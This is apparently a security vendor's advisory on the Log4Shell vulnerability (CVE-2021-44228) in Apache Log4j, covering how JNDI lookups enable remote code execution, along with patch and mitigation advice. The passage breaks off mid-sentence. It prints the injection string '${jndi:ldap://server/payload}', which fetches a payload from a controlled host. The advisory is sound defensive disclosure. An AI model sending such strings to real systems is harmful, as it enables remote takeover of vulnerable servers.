Retour 
Co-authored by Dagmawi Mulugeta and Gustavo Palazolo
Summary
CVE-2021-44228 (Log4Shell or LogJam) is a recently discovered zero-day vulnerability in the ubiquitous Apache Log4j Java-based logging library. It was reported by the Alibaba Cloud Security team as an unauthenticated RCE vulnerability in Log4j 2.0-beta9 up to 2.14.1 and could allow a complete system takeover on vulnerable systems. The bug has received the maximum CVSS score of 10, reflecting its importance and ease of exploitation.
This logging library is widely used in enterprise applications from Apple, Twitter, Amazon, Tesla, CloudFlare, and products including Apache Struts2, Apache Solr, Apache Druid, and Apache Flink for its rich feature set and ability to flexibly record log information. Even Ghidra, a popular reverse engineering tool from NSA, is vulnerable to this bug. Attackers can use the feature that is used to write error logs to construct special data request packets through this vulnerability and ultimately trigger the remote code execution.
Threat actors were observed scanning the Internet for servers vulnerable to this unauthenticated RCE after the first POC exploit was published on GitHub. There are also many reports of Log4Shell abuse in the wild, where threat actors are pushing different types of malware, such as Mirai and Tsunami botnets, Cobalt Strike, and Cryptominers.
Log4Shell
The vulnerability can be triggered by unauthenticated attackers that control log messages or log message parameters in Log4j. This is trivial to exploit, as the attacker can trigger the bug by sending a malicious string that gets logged by the application.
Log4j has a feature that can be used to retrieve information by using a specific string syntax, for example, to print out the Java version in the logs: ${java:version}. This is where the entry point for the vulnerability lies. By using the JNDI (Java Naming and Directory Interface), one can make a network request to obtain the payload. Therefore, the logged text supplied by the attacker can be presented in this form, where “server” is a controlled instance that hosts the payload:
“${jndi:ldap://server/payload}”
This message is then parsed by Log4j and a network request is made via JNDI, where the payload (Java file) is retrieved and executed by the application. There is a PoC exploit available that can be used to test and demonstrate how this vulnerability works.
Conclusion
Log4Shell requires immediate mitigation, given the popularity and usage of Apache and the ease of exploitation. We strongly recommend anyone using Log4j to update to version 2.15.0, where the fix was released by Apache.
Protection
Netskope Threat Labs is actively monitoring this campaign and will ensure coverage for all known threat indicators and payloads.
Update / Patch
Apache has released Log4j 2.15.0 to address the critical severity CVE-2021-44228 RCE vulnerability (where this behavior has been disabled by default). In previous releases (>2.10) this behavior can also be mitigated by setting system property “log4j2.formatMsgNoLookups” to “true” or by removing the JndiLookup class from the classpath. example: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
Netskope Private Access
If you are running internal applications that cannot be immediately patched, you can mitigate the risk of exploitation by limiting access to the app. A private access solution, such as Netskope Private Access, can be used to make private apps invisible to external attackers who seek to exploit vulnerable services. Furthermore, a private access solution can restrict access to a private app internally, such that only authorized users are able to access the app, reducing the risk that a comprom